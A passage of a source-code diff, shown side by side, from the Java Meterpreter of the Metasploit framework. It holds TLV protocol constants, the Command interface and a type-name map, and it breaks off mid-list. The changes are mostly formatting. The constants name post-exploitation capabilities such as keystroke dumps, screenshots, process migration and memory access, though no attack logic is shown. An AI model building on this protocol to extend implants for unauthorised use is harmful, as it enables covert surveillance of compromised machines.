public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513;
|
public static final int TLV_TYPE_CREATION_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2513;
|
||||||
|
|
||||||
public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540;
|
public static final int TLV_TYPE_REGISTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 2540;
|
||||||
public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541;
|
public static final int TLV_TYPE_REGISTER_SIZE = TLVPacket.TLV_META_TYPE_UINT | 2541;
|
||||||
public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542;
|
public static final int TLV_TYPE_REGISTER_VALUE_32 = TLVPacket.TLV_META_TYPE_UINT | 2542;
|
||||||
public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550;
|
public static final int TLV_TYPE_REGISTER = TLVPacket.TLV_META_TYPE_GROUP | 2550;
|
||||||
|
|
||||||
// Ui
|
// Ui
|
||||||
public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000;
|
public static final int TLV_TYPE_IDLE_TIME = TLVPacket.TLV_META_TYPE_UINT | 3000;
|
||||||
public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001;
|
public static final int TLV_TYPE_KEYS_DUMP = TLVPacket.TLV_META_TYPE_STRING | 3001;
|
||||||
public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002;
|
public static final int TLV_TYPE_DESKTOP = TLVPacket.TLV_META_TYPE_STRING | 3002;
|
||||||
|
|
||||||
// Event Log
|
// Event Log
|
||||||
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;
|
public static final int TLV_TYPE_EVENT_SOURCENAME = TLVPacket.TLV_META_TYPE_STRING | 4000;
|
||||||
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 4001;
|
public static final int TLV_TYPE_EVENT_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 4001;
|
||||||
public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002;
|
public static final int TLV_TYPE_EVENT_NUMRECORDS = TLVPacket.TLV_META_TYPE_UINT | 4002;
|
||||||
|
|
||||||
public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003;
|
public static final int TLV_TYPE_EVENT_READFLAGS = TLVPacket.TLV_META_TYPE_UINT | 4003;
|
||||||
public static final int TLV_TYPE_EVENT_RECORDOFFSET = TLVPacket.TLV_META_TYPE_UINT | 4004;
|
public static final int TLV_TYPE_EVENT_RECORDOFFSET = TLVPacket.TLV_META_TYPE_UINT | 4004;
|
||||||
|
|
||||||
public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006;
|
public static final int TLV_TYPE_EVENT_RECORDNUMBER = TLVPacket.TLV_META_TYPE_UINT | 4006;
|
||||||
public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007;
|
public static final int TLV_TYPE_EVENT_TIMEGENERATED = TLVPacket.TLV_META_TYPE_UINT | 4007;
|
||||||
public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008;
|
public static final int TLV_TYPE_EVENT_TIMEWRITTEN = TLVPacket.TLV_META_TYPE_UINT | 4008;
|
||||||
public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009;
|
public static final int TLV_TYPE_EVENT_ID = TLVPacket.TLV_META_TYPE_UINT | 4009;
|
||||||
public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010;
|
public static final int TLV_TYPE_EVENT_TYPE = TLVPacket.TLV_META_TYPE_UINT | 4010;
|
||||||
public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011;
|
public static final int TLV_TYPE_EVENT_CATEGORY = TLVPacket.TLV_META_TYPE_UINT | 4011;
|
||||||
public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012;
|
public static final int TLV_TYPE_EVENT_STRING = TLVPacket.TLV_META_TYPE_STRING | 4012;
|
||||||
public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013;
|
public static final int TLV_TYPE_EVENT_DATA = TLVPacket.TLV_META_TYPE_RAW | 4013;
|
||||||
|
|
||||||
// Power
|
// Power
|
||||||
public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100;
|
public static final int TLV_TYPE_POWER_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 4100;
|
||||||
public static final int TLV_TYPE_POWER_REASON = TLVPacket.TLV_META_TYPE_UINT | 4101;
|
public static final int TLV_TYPE_POWER_REASON = TLVPacket.TLV_META_TYPE_UINT | 4101;
|
||||||
|
|
||||||
// Screenshot
|
// Screenshot
|
||||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002;
|
public static final int TLV_TYPE_DESKTOP_SCREENSHOT = TLVPacket.TLV_META_TYPE_RAW | 3002;
|
||||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008;
|
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY = TLVPacket.TLV_META_TYPE_UINT | 3008;
|
||||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009;
|
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3009;
|
||||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3010;
|
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3010;
|
||||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011;
|
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 3011;
|
||||||
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3012;
|
public static final int TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER = TLVPacket.TLV_META_TYPE_STRING | 3012;
|
||||||
}
|
}
|
||||||
|
@ -6,33 +6,29 @@ import com.metasploit.meterpreter.TLVPacket;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(String, Class)} command.
|
* A command that can be executed inside meterpreter. Each command has a name and can be registered using the {@link CommandManager#registerCommand(String, Class)} command.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public interface Command {
|
public interface Command {
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Status code representing a successful run of the command.
|
* Status code representing a successful run of the command.
|
||||||
*/
|
*/
|
||||||
public static final int ERROR_SUCCESS = 0;
|
public static final int ERROR_SUCCESS = 0;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Status code representing a failed run of the command.
|
* Status code representing a failed run of the command.
|
||||||
*/
|
*/
|
||||||
public static final int ERROR_FAILURE = 1;
|
public static final int ERROR_FAILURE = 1;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Execute this command.
|
* Execute this command.
|
||||||
*
|
*
|
||||||
* @param request
|
* @param request request packet
|
||||||
* request packet
|
* @param response response packet
|
||||||
* @param response
|
* @param errorStream Stream to write errors to
|
||||||
* response packet
|
* @return a status code (usually {@link #ERROR_SUCCESS} or {@link ERROR_FAILURE})
|
||||||
* @param errorStream
|
* @throws any exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
|
||||||
* Stream to write errors to
|
*/
|
||||||
* @return a status code (usually {@link #ERROR_SUCCESS} or {@link ERROR_FAILURE})
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception;
|
||||||
* @throws any
|
|
||||||
* exception, which will be mapped to an error stream output and an {@link ERROR_FAILURE} status code.
|
|
||||||
*/
|
|
||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception;
|
|
||||||
}
|
}
|
||||||
|
@ -11,168 +11,168 @@ import com.metasploit.meterpreter.TLVType;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}.
|
* A command that represents a command that is not yet implemented. It will dump the complete request packet to the error stream and return {@link Command#ERROR_FAILURE}.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class NotYetImplementedCommand implements Command {
|
public class NotYetImplementedCommand implements Command {
|
||||||
|
|
||||||
public static final NotYetImplementedCommand INSTANCE = new NotYetImplementedCommand();
|
public static final NotYetImplementedCommand INSTANCE = new NotYetImplementedCommand();
|
||||||
|
|
||||||
private Map/* <Integer,String> */typeNames = new HashMap();
|
private Map/* <Integer,String> */typeNames = new HashMap();
|
||||||
|
|
||||||
private NotYetImplementedCommand() {
|
private NotYetImplementedCommand() {
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ANY), "TLV_TYPE_ANY");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_ANY), "TLV_TYPE_ANY");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_METHOD), "TLV_TYPE_METHOD");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_METHOD), "TLV_TYPE_METHOD");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_REQUEST_ID), "TLV_TYPE_REQUEST_ID");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_REQUEST_ID), "TLV_TYPE_REQUEST_ID");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION), "TLV_TYPE_EXCEPTION");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION), "TLV_TYPE_EXCEPTION");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_RESULT), "TLV_TYPE_RESULT");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_RESULT), "TLV_TYPE_RESULT");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_STRING), "TLV_TYPE_STRING");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_STRING), "TLV_TYPE_STRING");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_UINT), "TLV_TYPE_UINT");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_UINT), "TLV_TYPE_UINT");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_BOOL), "TLV_TYPE_BOOL");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_BOOL), "TLV_TYPE_BOOL");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_LENGTH), "TLV_TYPE_LENGTH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_LENGTH), "TLV_TYPE_LENGTH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DATA), "TLV_TYPE_DATA");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DATA), "TLV_TYPE_DATA");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_FLAGS), "TLV_TYPE_FLAGS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_FLAGS), "TLV_TYPE_FLAGS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_ID), "TLV_TYPE_CHANNEL_ID");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_ID), "TLV_TYPE_CHANNEL_ID");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_TYPE), "TLV_TYPE_CHANNEL_TYPE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_TYPE), "TLV_TYPE_CHANNEL_TYPE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA), "TLV_TYPE_CHANNEL_DATA");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA), "TLV_TYPE_CHANNEL_DATA");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA_GROUP), "TLV_TYPE_CHANNEL_DATA_GROUP");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_DATA_GROUP), "TLV_TYPE_CHANNEL_DATA_GROUP");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_CLASS), "TLV_TYPE_CHANNEL_CLASS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CHANNEL_CLASS), "TLV_TYPE_CHANNEL_CLASS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_WHENCE), "TLV_TYPE_SEEK_WHENCE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_WHENCE), "TLV_TYPE_SEEK_WHENCE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_OFFSET), "TLV_TYPE_SEEK_OFFSET");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_OFFSET), "TLV_TYPE_SEEK_OFFSET");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_POS), "TLV_TYPE_SEEK_POS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_SEEK_POS), "TLV_TYPE_SEEK_POS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_CODE), "TLV_TYPE_EXCEPTION_CODE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_CODE), "TLV_TYPE_EXCEPTION_CODE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_STRING), "TLV_TYPE_EXCEPTION_STRING");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_EXCEPTION_STRING), "TLV_TYPE_EXCEPTION_STRING");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_LIBRARY_PATH), "TLV_TYPE_LIBRARY_PATH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_LIBRARY_PATH), "TLV_TYPE_LIBRARY_PATH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_TARGET_PATH), "TLV_TYPE_TARGET_PATH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_TARGET_PATH), "TLV_TYPE_TARGET_PATH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_PID), "TLV_TYPE_MIGRATE_PID");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_PID), "TLV_TYPE_MIGRATE_PID");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_LEN), "TLV_TYPE_MIGRATE_LEN");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_MIGRATE_LEN), "TLV_TYPE_MIGRATE_LEN");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_NAME), "TLV_TYPE_CIPHER_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_NAME), "TLV_TYPE_CIPHER_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_PARAMETERS), "TLV_TYPE_CIPHER_PARAMETERS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CIPHER_PARAMETERS), "TLV_TYPE_CIPHER_PARAMETERS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_HANDLE), "TLV_TYPE_HANDLE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_HANDLE), "TLV_TYPE_HANDLE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_INHERIT), "TLV_TYPE_INHERIT");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_INHERIT), "TLV_TYPE_INHERIT");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_HANDLE), "TLV_TYPE_PROCESS_HANDLE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_HANDLE), "TLV_TYPE_PROCESS_HANDLE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_HANDLE), "TLV_TYPE_THREAD_HANDLE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_THREAD_HANDLE), "TLV_TYPE_THREAD_HANDLE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_DIRECTORY_PATH), "TLV_TYPE_DIRECTORY_PATH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_DIRECTORY_PATH), "TLV_TYPE_DIRECTORY_PATH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_NAME), "TLV_TYPE_FILE_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_NAME), "TLV_TYPE_FILE_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_PATH), "TLV_TYPE_FILE_PATH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_PATH), "TLV_TYPE_FILE_PATH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_MODE), "TLV_TYPE_FILE_MODE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_FILE_MODE), "TLV_TYPE_FILE_MODE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_STAT_BUF), "TLV_TYPE_STAT_BUF");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_HOST_NAME), "TLV_TYPE_HOST_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PORT), "TLV_TYPE_PORT");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MTU), "TLV_TYPE_MTU");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_MTU), "TLV_TYPE_MTU");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_INTERFACE_INDEX), "TLV_TYPE_INTERFACE_INDEX");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_INTERFACE_INDEX), "TLV_TYPE_INTERFACE_INDEX");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET), "TLV_TYPE_SUBNET");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK), "TLV_TYPE_NETMASK");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY), "TLV_TYPE_GATEWAY");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_ROUTE), "TLV_TYPE_NETWORK_ROUTE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP_PREFIX), "TLV_TYPE_IP_PREFIX");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IP_PREFIX), "TLV_TYPE_IP_PREFIX");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IP), "TLV_TYPE_IP");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_ADDRESS), "TLV_TYPE_MAC_ADDRESS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_MAC_NAME), "TLV_TYPE_MAC_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_NETWORK_INTERFACE), "TLV_TYPE_NETWORK_INTERFACE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_IP6_SCOPE), "TLV_TYPE_IP6_SCOPE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_IP6_SCOPE), "TLV_TYPE_IP6_SCOPE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_SUBNET_STRING), "TLV_TYPE_SUBNET_STRING");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_NETMASK_STRING), "TLV_TYPE_NETMASK_STRING");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_GATEWAY_STRING), "TLV_TYPE_GATEWAY_STRING");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_HOST), "TLV_TYPE_PEER_HOST");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_HOST), "TLV_TYPE_PEER_HOST");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_PORT), "TLV_TYPE_PEER_PORT");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PEER_PORT), "TLV_TYPE_PEER_PORT");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_HOST), "TLV_TYPE_LOCAL_HOST");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_HOST), "TLV_TYPE_LOCAL_HOST");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_PORT), "TLV_TYPE_LOCAL_PORT");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_LOCAL_PORT), "TLV_TYPE_LOCAL_PORT");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_CONNECT_RETRIES), "TLV_TYPE_CONNECT_RETRIES");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_CONNECT_RETRIES), "TLV_TYPE_CONNECT_RETRIES");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_SHUTDOWN_HOW), "TLV_TYPE_SHUTDOWN_HOW");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_SHUTDOWN_HOW), "TLV_TYPE_SHUTDOWN_HOW");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_HKEY), "TLV_TYPE_HKEY");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_HKEY), "TLV_TYPE_HKEY");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ROOT_KEY), "TLV_TYPE_ROOT_KEY");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_ROOT_KEY), "TLV_TYPE_ROOT_KEY");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_KEY), "TLV_TYPE_BASE_KEY");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_KEY), "TLV_TYPE_BASE_KEY");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PERMISSION), "TLV_TYPE_PERMISSION");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PERMISSION), "TLV_TYPE_PERMISSION");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_KEY_NAME), "TLV_TYPE_KEY_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_KEY_NAME), "TLV_TYPE_KEY_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_NAME), "TLV_TYPE_VALUE_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_NAME), "TLV_TYPE_VALUE_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_TYPE), "TLV_TYPE_VALUE_TYPE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_TYPE), "TLV_TYPE_VALUE_TYPE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_DATA), "TLV_TYPE_VALUE_DATA");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_VALUE_DATA), "TLV_TYPE_VALUE_DATA");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_COMPUTER_NAME), "TLV_TYPE_COMPUTER_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_COMPUTER_NAME), "TLV_TYPE_COMPUTER_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_OS_NAME), "TLV_TYPE_OS_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_OS_NAME), "TLV_TYPE_OS_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_USER_NAME), "TLV_TYPE_USER_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_USER_NAME), "TLV_TYPE_USER_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_ADDRESS), "TLV_TYPE_BASE_ADDRESS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_BASE_ADDRESS), "TLV_TYPE_BASE_ADDRESS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOCATION_TYPE), "TLV_TYPE_ALLOCATION_TYPE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOCATION_TYPE), "TLV_TYPE_ALLOCATION_TYPE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROTECTION), "TLV_TYPE_PROTECTION");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROTECTION), "TLV_TYPE_PROTECTION");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PERMS), "TLV_TYPE_PROCESS_PERMS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PERMS), "TLV_TYPE_PROCESS_PERMS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_MEMORY), "TLV_TYPE_PROCESS_MEMORY");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_MEMORY), "TLV_TYPE_PROCESS_MEMORY");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_BASE_ADDRESS), "TLV_TYPE_ALLOC_BASE_ADDRESS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_BASE_ADDRESS), "TLV_TYPE_ALLOC_BASE_ADDRESS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_STATE), "TLV_TYPE_MEMORY_STATE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_STATE), "TLV_TYPE_MEMORY_STATE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_TYPE), "TLV_TYPE_MEMORY_TYPE");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_MEMORY_TYPE), "TLV_TYPE_MEMORY_TYPE");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_PROTECTION), "TLV_TYPE_ALLOC_PROTECTION");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_ALLOC_PROTECTION), "TLV_TYPE_ALLOC_PROTECTION");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PID), "TLV_TYPE_PID");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PID), "TLV_TYPE_PID");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_NAME), "TLV_TYPE_PROCESS_NAME");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_NAME), "TLV_TYPE_PROCESS_NAME");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PATH), "TLV_TYPE_PROCESS_PATH");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_PATH), "TLV_TYPE_PROCESS_PATH");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_GROUP), "TLV_TYPE_PROCESS_GROUP");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_GROUP), "TLV_TYPE_PROCESS_GROUP");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_FLAGS), "TLV_TYPE_PROCESS_FLAGS");
|
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_FLAGS), "TLV_TYPE_PROCESS_FLAGS");
|
||||||
typeNames.put(new Integer(TLVType.TLV_TYPE_PROCESS_ARGUMENTS), "TLV_TYPE_PROCESS_ARGUMENTS");
|
